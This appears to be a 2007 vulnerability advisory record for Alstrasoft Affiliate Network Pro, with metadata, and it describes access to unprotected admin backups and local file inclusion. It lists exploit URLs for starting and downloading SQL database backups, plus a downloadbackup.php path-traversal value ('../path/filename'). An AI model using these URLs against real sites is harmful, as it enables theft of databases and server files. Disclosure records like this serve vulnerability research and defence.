Description
Discovered by hack2prison and navaro - VNBRAIN.NET member
Vendor: Alstrasoft
http://site/path/admin/backupstart.php
http://site/path/admin/admin/dump/backup-dd-mm-yyyy.sql
http://site/path/admin/downloadbackup.php?fl=backup-dd-mm-yyyy.sql
http://site/path/admin/downloadbackup.php?fl=backup-dd-mm-yyyy.sql
http://site/path/admin/downloadbackup.php?fl=../path/filename
{"id": "SECURITYVULNS:DOC:18100", "bulletinFamily": "software", "title": "Affiliate Network Pro Multiple Input Validation and Local file inclusion", "description": "Discovered by hack2prison and navaro - VNBRAIN.NET member\r\nVendor: Alstrasoft\r\nhttp://site/path/admin/backupstart.php\r\nhttp://site/path/admin/admin/dump/backup-dd-mm-yyyy.sql\r\nhttp://site/path/admin/downloadbackup.php?fl=backup-dd-mm-yyyy.sql\r\nhttp://site/path/admin/downloadbackup.php?fl=backup-dd-mm-yyyy.sql\r\nhttp://site/path/admin/downloadbackup.php?fl=../path/filename", "published": "2007-10-02T00:00:00", "modified": "2007-10-02T00:00:00", "cvss": {"score": 0.0, "vector": "NONE"}, "href": "https://vulners.com/securityvulns/SECURITYVULNS:DOC:18100", "reporter": "Securityvulns", "references": [], "cvelist": [], "type": "securityvulns", "lastseen": "2018-08-31T11:10:23", "edition": 1, "viewCount": 9, "enchantments": {"score": {"value": 1.1, "vector": "NONE"}, "dependencies": {"references": [{"type": "securityvulns", "idList": ["SECURITYVULNS:VULN:8204"]}], "rev": 4}, "backreferences": {"references": [{"type": "securityvulns", "idList": ["SECURITYVULNS:VULN:8204"]}]}, "exploitation": null, "vulnersScore": 1.1}, "affectedSoftware": [], "immutableFields": [], "cvss2": {}, "cvss3": {}, "_state": {"dependencies": 1645408727, "score": 1659803227}, "_internal": {"score_hash": "4ce907120c65d3d9bae0af120f9018f1"}}
{}